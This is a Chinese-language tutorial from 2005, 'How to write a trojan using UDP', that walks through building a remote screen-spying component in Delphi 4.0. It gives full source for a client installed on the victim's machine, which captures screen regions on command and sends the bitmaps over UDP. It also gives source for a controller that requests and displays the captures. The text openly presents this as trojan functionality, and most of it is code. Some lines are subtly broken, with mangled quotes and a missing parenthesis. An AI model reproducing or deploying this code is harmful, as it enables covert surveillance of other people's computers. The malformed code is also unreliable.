用UDP協議的木馬編寫方法 
--------------------------------------------------------------------------------
作者：不詳 　來源于：不詳 　發布時間：2005-2-14 4:12:37 
木馬的一個很重要的功能就是遠程監視屏幕，下面的文章講述了怎樣利用UDP協議來實現，而不是我們通常用到的tcp/ip協議，很有特色，值得一學。 
　 
一、軟硬件要求。
Windows95/98對等網，用來監視的計算機（以下簡稱主控機）和被監視的計算機（以下簡稱受控機）都必須裝有TCP/IP 協議，并正確配置。如沒有網絡，也可以在一臺計算機上進行調試。

二、實現方法。
編制兩個應用程序，一個為VClient.exe，裝在受控機上，另一個為VServer.exe，裝在主控機上。VServer.exe指定要監視的受控機的IP地址和將要在受控機屏幕上抓取區域的大小和位置，并發出屏幕抓取指令給VClient.exe，VClient.exe得到指令后，在受控機屏幕上選取指定區域，生成數據流，將其發回主控機，并在主控機上顯示出抓取區域的BMP圖象。由以上過程可以看出，該方法的關鍵有二：一是如何在受控機上進行屏幕抓取，二是如何通過TCP/IP協議在兩臺計算機中傳輸數據。

UDP(User Datagram Protocol，意為用戶報文協議)是Internet上廣泛采用的通信協議之一。與TCP協議不同，它是一種非連接的傳輸協議，沒有確認機制，可靠性不如TCP，但它的效率卻比TCP高，用于遠程屏幕監視還是比較適合的。同時，UDP控件不區分服務器端和客戶端，只區分發送端和接收端，編程上較為簡單，故選用UDP協議，使用Delphi 4.0提供的TNMUDP控件。

三、創建演示程序。
第一步，編制VClient.exe文件。新建Delphi工程，將默認窗體的Name屬性設為“Client”。加入TNMUDP控件，Name屬性設為“CUDP”；LocalPort屬性設為“1111”，讓控件CUDP監視受控機的1111端口，當有數據發送到該口時，觸發控件CUDP的OnDataReceived事件；RemotePort屬性設為“2222”，當控件CUDP發送數據時，將數據發到主控機的2222口。

在implementation后面加入變量定義

const BufSize=2048;{ 發送每一筆數據的緩沖區大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 發送每一筆數據后剩余的字節數 }

為Client的OnCreate事件添加代碼：
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;

為Client的OnDestroy事件添加代碼：
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;

為控件CUDP的OnDataReceived事件添加代碼：
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 讀取控制碼 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]=’show’ then
begin { 控制碼前4位為“show”表示主控機發出了抓屏指令 }
if BmpStream.Size=0 then { 沒有數據可發，必須截屏生成數據 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr) -Pos(’:’,TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr)-Pos(’:’,TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr)-Pos’:’,TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); { 截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP為主控機IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 將數據發到主控機的2222口 }
end;
end;

其中ScreenCap是自定義函數，截取屏幕指定區域，
代碼如下：
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC(’DISPLAY’,’’,’’,nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存為“C:\VClient\ClnUnit.pas”和“C:\VClient\VClient.dpr”，
并編譯。

第二步，編制VServer.exe文件。
新建Delphi工程，將窗體的Name屬性設為“Server”。加入TNMUDP控件，Name屬性設為“SUDP”；LocalPort屬性設為“2222”，讓控件SUDP監視主控機的2222端口，當有數據發送到該口時，觸發控件SUDP的OnDataReceived事件；RemotePort屬性設為“1111”，當控件SUDP發送數據時，將數據發到受控機的1111口。加入控件Image1，Align屬性設為“alClient”；加入控件Button1，Caption屬性設為“截屏”；加入控件Label1，Caption屬性設為“左：上：右：下”；加入控件Edit1，Text屬性設為“0:0:100:100”；加入控件Label2，Caption屬性設為“受控機IP地址”；加入控件Edit2，Text屬性設為“127.0.0.1”；

在implementation后面加入變量定義
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;

為Server的OnCreate事件添加代碼：
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;

為Client的OnDestroy事件添加代碼：
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;

為控件Button1的OnClick事件添加代碼：
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:=’show’+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

為控件SUDP的OnDataReceived事件添加代碼：
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:=’show’+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 數據已讀完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:=’show’;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;

存為“C:\VServer\SvrUnit.pas”和
“C:\VServer\VServer.dpr”，并編譯。
---- 四、測試。

1、本地機測試：在本地機同時運行Vserver.exe和VClient.exe，利用程序的默認設置，即可實現截屏。查看“控制面板”-“網絡”-“TCP/IP”-“IP地址”，將程序的“客戶IP地址”設為該地址 ，同樣正常運行。

2、遠程測試：選一臺受控機，運行VClient.exe；另選一臺主控機，運行VServer.exe，將“受控機IP地址”即Edit2的內容設為受控機的IP地址，“截屏”即可。以上簡要介紹了遠程屏幕抓取的實現方法，至于在主控機上一屏同時監視多個受控機，讀者可自行完善。以上程序，在Windows98對等網、Delphi 4.0下調試通過。